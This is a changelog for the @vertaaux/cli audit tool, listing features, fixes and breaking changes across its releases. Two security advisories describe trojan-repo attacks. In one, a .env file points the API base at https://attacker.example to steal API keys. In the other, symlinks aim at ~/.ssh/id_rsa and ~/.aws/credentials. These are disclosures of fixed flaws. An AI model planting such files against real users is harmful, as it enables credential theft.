All notable changes to @vertaaux/cli will be documented in this file.
The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.
First stable release on the 0.8 line, replacing the 0.6.2 stable line on the latest npm tag. Consolidates every change since the May 5 0.6.2 release into a production-grade graduation. Skips the 0.7.0-alpha.{1,2,3} and 0.8.0-alpha.{0,1,2} pre-release tags that lived on the next channel during May.
vertaa demo— replay a fixture audit through the live renderer offline, no API required.vertaa completion <bash|zsh|fish>— shell completion scripts. Install withvertaa completion bash > /usr/local/etc/bash_completion.d/vertaaor equivalent.vertaa upgrade— self-update to the latest npm version.- Framework auto-detect in
vertaa init—.vertaaux.ymlis now populated with sensible defaults inferred from your project (Next.js, Astro, Vite, Storybook, etc.). - 31% smaller npm tarball — packaging cleanup.
renderDashboardV2()— animated 7-cell score grid, per-category sparklines (▁▂▃▄▅▆▇█), live-issues feed (top 5 severity-colored), proportional severity histogram, elapsed-time footer.vertaa demoupgraded to v2 — synthesized score history and live-issues feed for a realistic replay.
- Ctrl+P opens the command palette — fuzzy search across every command, with category tags.
vertaa audit --watch— re-runs the audit on filesystem changes with debounced trigger.- Animated score reveal — score tweening in the dashboard for a smooth final-result transition.
vertaa explain <findingId> --copy— writes the recommended fix for a specific finding to stdout, pipe-clean for clipboard tools. Usevertaa explain X --copy | pbcopy(macOS) or| xclip -i(Linux). Evidence rendering, step-list output, and the "Fix written to stdout" hint all route to stderr so they stay visible without polluting the pipe. Emits afinding_fix_copiedtelemetry event.- Interactive fix-wizard "Copy fix to stdout" choice — sixth menu item in
vertaa audit --interactive. Selecting it copies the current finding's recommended fix and stays on the same finding so you can also baseline or accept after copying. - Type mirror at
cli/src/types/audit.ts— canonicalSeverity+AuditCategoryKeyunions are now mirrored into the CLI package boundary with a CI-gated drift check.
- Synthetic
ruleIdhydration in audit output — when the audit-engine emits issues withoutruleId(current behavior onlib/audit-engine/auditor-ia.ts,auditor-usability.ts,auditor-conversion.ts), the CLI backfills stable IDs in the formsynthetic/<category>-<title-slug>-<index>. Saved audit JSON now exposes addressable findings forvertaa explain <id> --file file.json --copy. Idempotent — real ruleIds (e.g.custom/semantic-landmarkfrom the accessibility analyzer) pass through unchanged. - Severity vocab normalized to the canonical 5-tier union at the CLI boundary —
critical | high | medium | low | info. The production backend still emits legacy 3-tier (error/warning/info); the CLI maps at audit-write + explain-load boundaries so the changelog promise from 0.8.0-alpha.0 is now actually fulfilled in published output. The--severity-legacyflag remains available for users who need the old vocab in CI scripts. - Canonical
Issuetype atcli/src/baseline/hash.tsnow declares both snake_case AND camelCase variants forrecommendedFix/recommended_fix,wcagReference/wcag_reference,businessImpact/business_impact,impactScore/impact_score,estimatedEffort/estimated_effort— matches the actual audit JSON wire shape. vertaa explain --file out.jsonunwraps{ data: { issues }, meta }— the envelope shape produced byvertaa audit --format json. Bare{ issues: [] }and flat-array shapes still work for backwards compat. No morejqreshape needed.
- CLI builds and runs cleanly — a stale internal alias in the copy-fix command broke
cd cli && npm run buildand cascaded into 240+ downstream test failures during the 0.7.x alpha cycle. Cascade is fully collapsed (0 failed test files / 0 failed tests). - ANSI-colored error frames in TTY mode —
vertaa audit"URL is required" error andvertaa explain --copymissing-argument validation now render brandedrenderErrorframes in TTY mode. process.std*.write()violations in command files — wrapped per the renderer-enforcement contract.- Pre-existing test debt closeout — 13 internal command tests'
strings.jsmock drift fixed; PTY snapshots re-recorded for current help output (--sarif,--ciflags + newcompletion/upgrade/democommands). - Typo
toLeqacySeverity→toLegacySeverityincli/src/lib/severity-compat.ts.
If you're upgrading from 0.6.2 (the previous stable):
- Severity vocab changed.
audit --format jsonnow emitscritical | high | medium | low | infoinstead of the legacyerror | warning | info. CI scripts that grep for legacy values should either (a) update their patterns or (b) usevertaa audit --severity-legacyfor one transitional cycle. The--severity-legacyflag is documented for removal in the next CLI minor. - Audit JSON now wraps in
{ data, meta }— most CLI commands accept both wrapped + bare shapes (explain --fileaccepts both;baseline --from-fileaccepts both). External tools that pipevertaa audit --format jsonoutputs should read from.data.issues(not top-level.issues). baselinefallback severity for issues without an explicit severity field is now"medium"(was"warning"pre-0.8.0).vertaa fixandvertaa fix-all--issueflag is now conditionally required (only when--dry-runis absent). Pre-0.8.0 it was strictly required, which blocked--dry-runworkflows.
- Severity vocabulary in
auditoutput is nowcritical | high | medium | low | info(Phase 137 VOICE-02). - Baseline manager fallback severity for issues without a severity field changed from
"warning"to"medium".
--severity-legacyflag for theauditcommand. Emits the legacy 3-tier vocab on stdout for one transitional cycle. CI pipelines that grep for the old values can use this flag without rewriting. Removed in the next CLI minor.
- Replace pattern matches on
"error"with"high","warning"with"medium"in CI scripts and machine-readable output consumers. New"critical"values appear when a finding blocks primary user completion.
Sprint 2 of the v0.7.0 milestone: the live dashboard. The static frame from v0.1.x has been replaced with a 7-cell score grid, sparklines, a streaming live-issues feed, and a severity histogram in the footer. Visible during vertaa demo; auto-switches in for any caller that populates the new state fields. Animated score reveal and live audit-pipeline wiring land in alpha.3 alongside Sprint 3.
renderDashboardV2()in@vertaaux/tui— pure render function. Header box (URL + mode + clock), phase line with bullet progress, 7-cell score grid (one cell per audit category with score + 6-glyph sparkline), live-issues feed (top 5, severity-colored), severity histogram bar (proportional widths colored by tier), elapsed-time footer.- Sparkline rendering — 8-band block-glyph sparklines (
▁▂▃▄▅▆▇█) per category, padded on the left when history is short. Exported asrenderSparkline()for reuse. - Optional dashboard state fields —
categoryScores,scoreHistory,liveIssues,severityCounts,scoreReveal. Backwards-compatible: callers on the old shape get the legacy frame; any caller that populates one of the new fields gets v2 automatically. vertaa demoupgraded to v2 — populatescategoryScores, synthesizes a smoothscoreHistoryramp toward the final value (sparklines look like real progress), wires inliveIssuesfrom the fixture andseverityCountsfromissues_summary. The replay now shows the full new dashboard.
AlternateScreenRenderer.update()— auto-detects the new state shape (any ofcategoryScores/liveIssues/severityCounts) and renders v2; otherwise falls back to the legacy frame. No flag, no opt-in. Pure additive change.- Phase-dot rendering — bullet count now matches
state.phaseTotal(audit pipeline reports 9, demo reports 9, init reports 1) instead of always being the 4-stepPHASE_ORDER.
- 21 new vitest cases under
packages/tui/tests/dashboard/dashboard-v2.test.tscovering: header/phase/footer structure, 7-up category grid (canonical order, label truncation, uncategorized append), sparkline glyph mapping (range 0–100, left-pad, clamp, empty history), live-issues feed (presence/absence, max-5, severity tags, ellipsis truncation), severity histogram (proportional widths, fallback when no breakdown, "no issues" state), and color-mode stability. - Manually rendered against a 100×50 viewport with full state to verify visual layout.
- Full CLI test suite shows zero new failures vs
main(4 pre-existing E2E failures predate this PR; tracked for S4).
First alpha of the v0.7.0 "DX & The Dashboard" milestone, building toward a Product Hunt launch in early June. This release is DX foundations: shell completions, self-update, vertaa demo, framework auto-detect in vertaa init, and a 31% smaller npm tarball. Sprint 2 brings the live dashboard rewrite; Sprint 3 brings the fuzzy command palette and --watch mode.
vertaa completion <bash|zsh|fish>— Shell-completion script generated from the live Commander program tree. Pipe the output to your shell's completion directory orsource <(vertaa completion bash)inline. Walks every command, sub-command, alias, and flag automatically, so future commands get tab-completion for free.vertaa upgrade— Self-update with semver-aware comparison. Detects the install method (global npm / npx / project-local) and runs the right install command.--checkexits non-zero on drift (CI-friendly),--yesskips the confirmation prompt for unattended use.vertaa demo— Replay a fixture audit through the live renderer (offline, ~14 seconds). Same dashboard pipeline a real audit uses, but with guaranteed-pretty data. Use it to demo VertaaUX without burning credits or waiting for a network.--fastskips delays for screenshots;--machineemits the fixture as JSON.vertaa initframework auto-detect — Sniffs Next.js, Vite, Astro, Remix, Nuxt, SvelteKit, Gatsby, Eleventy, Vue (CLI), React (CRA), and Hugo frompackage.jsondeps and config files; reads explicit dev-server ports out ofscripts.dev(--port,-p,PORT=); pre-fillsdefaultUrlso the first audit a new user runs hits their own dev server, nothttps://example.com.
- 31% smaller npm tarball. New
tsconfig.build.jsonstrips.d.ts/.d.ts.mapfrom the published package (the CLI is consumed as a binary, not a library). Tarball: 287 kB packed / 1.2 MB unpacked / 132 files (was 416 kB / 1.7 MB / 367 files). - Tightened
scripts/verify-package.mjs. Added file-shape gates (no source maps, no declaration files indist/, no test files leaked) and hard caps on tarball file count (≤200) and unpacked size (≤1.5 MB). Publish is blocked if any gate trips.
- 70 new tests across
completion,upgrade,demo, anddetect-framework. Full CLI suite shows zero new failures vsmain(the 4 pre-existing E2E failures predate this PR; tracked for S4). - Sensitive-write hygiene:
process.stderr.writecalls in command files now go throughrenderError/renderWarningper the structural test intests/pty/renderer-enforcement.test.ts. Fixed a pre-existing violation inupload.tsalong the way.
- CWE-59:
vertaa uploadfollowed symbolic links inside.vertaaux/artifacts/. Reported externally. The artifact collector usedfs.statSync(which follows symlinks) andfs.readFileSyncto read every file in the most-recent run directory. A malicious repo could ship.vertaaux/artifacts/<job-id>/result.jsonas a symlink pointing at~/.ssh/id_rsa,~/.aws/credentials, or any other file the user can read; runningvertaa uploadin that directory would read the symlink target and include it in the artifacts payload sent to the user's VertaaUX cloud account. Caveat on the data path: the upload target is the user's own VertaaUX account (not an attacker URL), so direct exfiltration requires a separate account compromise. This is a privacy / least-privilege violation more than a one-step credential-leak. Same general shape as the.envTrojan-repo issue fixed in v0.6.1, but with a narrower trigger (must runvertaa upload, not any command). ReplacedstatSyncwithlstatSyncand rejected symlinks at both call sites: directory traversal (when picking the most-recent run) and per-file collection. Mirrors the existinglstatSync+isSymbolicLinkdefense insrc/auth/token-store.ts. A stderr warning (Warning: skipped N symlink(s) in .vertaaux/artifacts/...) surfaces any rejected entries so the user can investigate.
- No action required for normal users: artifacts are written by the action as regular files, and skipping symlinks is silent in the happy path.
- If you intentionally symlinked artifacts into
.vertaaux/artifacts/for some local workflow (rare), those entries will now be skipped with a warning. Move the actual files into the directory instead.
- CWE-829: Trojan-repo
.envexfiltration of API key. Reported externally. The CLI loaded.envand.env.localfrom the current working directory at startup, before any command ran. A malicious repo could ship a.envsettingVERTAAUX_API_BASE=https://attacker.example, and any user who cloned the repo and ranvertaa whoami(or any other command) inside it would silently send their API key to the attacker. Removed CWD candidates from the env loader. The new trusted candidate list is~/.vertaaux/.env(per-user CLI config) plus the package-relative paths inside the installed npm package (read-only after install). As a defense-in-depth backstop,VERTAAUX_API_BASEandVERTAAUX_API_KEYare now blocklisted from being injected by any.envfile; they must come from the shell environment or~/.vertaaux/credentials.json. Shell-set values continue to win (override: falsesemantics preserved).
- If you previously kept a
.envin a project directory to point the CLI at a staging API, move that to~/.vertaaux/.envfor non-sensitive vars (log level, theme, etc.), or set sensitive vars in your shell:VERTAAUX_API_BASE=https://staging.vertaaux.ai vertaa whoami
- Most users are unaffected: credentials live in
~/.vertaaux/credentials.json, and the default API base is correct out of the box.
0.6.0 - 2026-04-17
- Anonymous demo mode. Run
vertaa audit <url>without an account — 3 free audits per day (IP-based quota). Demo mode uses a reserve-then-settle charging model; zero-paid-dep audits refund the reserved slot. - Localhost audits in demo mode. CLI captures local pages via CDP (connects to user's Chrome) and proxies AI analysis through
POST /api/v1/audit/ai-proxy. Free-path localhost audits are unmetered. - First-run welcome screen. Bare
vertaainvocation shows a welcome screen → telemetry consent prompt → interactive menu. Re-run anytime viavertaa welcome. - Telemetry commands.
vertaa telemetry enable|disable|statusto manage opt-in client-side telemetry. 8 event shapes (cli_started,menu_opened,audit_invoked,audit_succeeded,audit_failed,quota_hit,login_started,login_completed) sent to/api/analytics/eventswith consent gating and exit flush. - 429 one-keystroke login. When quota is exceeded in TTY mode, prompts
Lto log in via device flow and automatically retries the original request. Non-TTY emits structured JSON to stderr + exit 2. - Interactive menu enhancements. Left/right arrow navigation (Finder-style drill/back), blinking
▎cursor in search mode,›gutter marker for selected items (visible in--plainmode),?as help shortcut alias for F1, Esc exits TUI at top-level, breadcrumb trail ("Menu → Category"), deduplicated footer hints.
- SECURITY:
--dry-runleakedapiKeyin JSON output. Fields matching/key|token|secret/iare now truncated to 8 chars +****. --dry-runbypassed URL validation. Now validates URL (scheme, hostname, port) before serialization — rejectsjavascript:,file:///, hostnames without dots, ports > 65535. Exit 2 on failure.- Global
--machine/--dry-run/--verboserejected in post-subcommand position. Universal globals now propagated to all subcommands after Commander.js registration. whoami/doctor/login/logoutshowed "Audit Complete" heading in non-TTY output. Now uses mode-specific headings ("Whoami Complete", etc.) and omitsscore=/issues=for non-audit modes.- Welcome Tour crashed TUI when selected from interactive menu. Menu now renders welcome text inline via
writeOutput(). - Unknown root flags silently accepted. Restored
isInteractive()+args.length === 0guard. - Duplicate "Audit Complete" heading in non-TTY audit output.
formatHeader()now skips heading whenprocess.stderr.isTTYis false. - Demo mode error handling. Corrected 429 error parsing, fixed metadata leak bypassing free-tier gating, fixed hard-coded "completed" status on failed audits, added per-mode timeout enforcement.
0.5.3 - 2026-04-10
Patch release — dependency updates and build fixes.
--profile <name>flag onvertaa audit— Phase 1.5 of audit profiles is now live on npm.vertaa audit <url> --profile wcag-aa(and any profile with acategoriessubset) skips auditors in the cloud worker rather than running all 7 and filtering post-run. Built-in profiles:wcag-aa,conversion-focus,quick-ux,ci-gate,compliance. The CLI passesprofile.categoriesin the POST body viaapiRequestwhen a category subset is resolved; the SDK path is used when no subset applies. Seecli/tests/commands/audit-handler.test.tsfor coverage.a11ycommand upgrade —vertaa a11y <url>now calls the dedicated/v1/a11y/auditendpoint with multi-engine analysis (axe-core + AccessLint + custom analyzers). Added--mode,--fail-on-score,--min-impact, and--fail-on-findingsflags.- Source tracking — All CLI-triggered audits now include
source: "cli"metadata for dashboard visibility.
- Profile-filtered categories now report
nullinstead of a false100— Excluded categories inscoresarenull(not a fabricated "perfect 100" fromcalculateScore([])).metadata.filtered_categorieslists profile exclusions;metadata.skipped_checksis reserved for runtime failures.metadata.partialstaysfalsefor profile-filtered audits. Server-side fix shipped in PR #375; this release gets it onto the npm-published CLI output path.
- SDK upgraded to
@vertaaux/sdk@2.0.0— Updated to match v2 API surface with snake_case parameter conventions. - Machine-mode hardening — Payload output routes consistently through the data writer; enveloped JSON input is unwrapped uniformly across
baseline,comment, anddiffcommands.
0.5.0 - 2026-03-19
- Interactive terminal app — full-screen menu-driven interface with keyboard navigation, live dashboard, and canvas layout (launched via
vertaawith no args) - @vertaaux/tui package — terminal UI primitives (spinner, table, progress, box, error-box, step-list, viewport) bundled into the CLI
- PTY test infrastructure — node-pty based terminal tests with ANSI serializers, xterm-256color emulation, and dedicated vitest config
- Subprocess test infrastructure — process-level E2E tests with build caching, mock audit server, and contract validation
- Snapshot test infrastructure — long-running compilation snapshot tests with NO_COLOR determinism
- Package install tests — artifact validation via
npm packand tarball installation - Cross-platform CI matrix — Ubuntu/macOS/Windows × Node 20/22 in
cli-e2e.ymlworkflow - 1953 unit tests across 112 test files covering commands, auth, config, output, security, caching, CI detection, monorepo support, and quality gates
- Credential file support — reads API key from
~/.vertaaux/credentials.jsonas fallback (with symlink and permission checks) - Error propagation improvements — unhandled errors in command handlers now produce exit code 2 with branded error boxes
- Commander upgraded to v14 — from v12, with improved help formatting and error handling
- Vitest upgraded to v4 — from v3, with
fileParallelism: falsereplacing deprecatedpoolOptions.forks.singleFork - Error rendering — all command errors now render through
renderError()with suggestion hints and proper exit codes
- Flaky TTY detection in subprocess tests
- Fetch resource leak — unclosed responses in API client
- Timer cleanup — lingering timers in polling commands
- ESLint compliance — replaced
require()calls with string concatenation for no-require-imports rule
- Symlink check on credentials — refuses to read
~/.vertaaux/credentials.jsonif it's a symlink (SECVAL-1) - Permission check on credentials — warns if file permissions are overly permissive on Unix systems (SECVAL-2)
0.4.0 - 2026-02-15
- Localhost/private URL auditing via static HTML analysis
whoamicommand shows name, email, and plan
0.3.3 - 2026-02-10
- Documentation accuracy improvements
0.3.0 - 2026-02-08
- AI Intelligence commands —
suggest,triage,fix-plan,patch-review,release-notes,compare,doc - Pipeline input — all AI commands accept stdin pipe,
--file, or--job - Per-command format validation with format registry
- JSON output envelope with metadata
--machineflag for strict machine-readable output- Branded error messages with typo suggestions
doctorcommand for CLI health diagnostics- Exit code 3 for threshold breaches
--formatmoved from global to per-command option- Diagnostic output moved to stderr (stdout reserved for format output)
- Strict input validation with exit code 2
0.2.0 - 2026-01-25
- Per-command format system
- JSON output envelope
--machineflagdoctorcommand- Levenshtein suggestions for enum flags
- Branch name validation
- Artifact path traversal protection
- Breaking:
--formatis now per-command - Breaking: JSON output wrapped in envelope
- Breaking: diagnostics moved to stderr
- Breaking: strict input validation (exit code 2)
- Breaking: exit code 3 for threshold breach (was 1)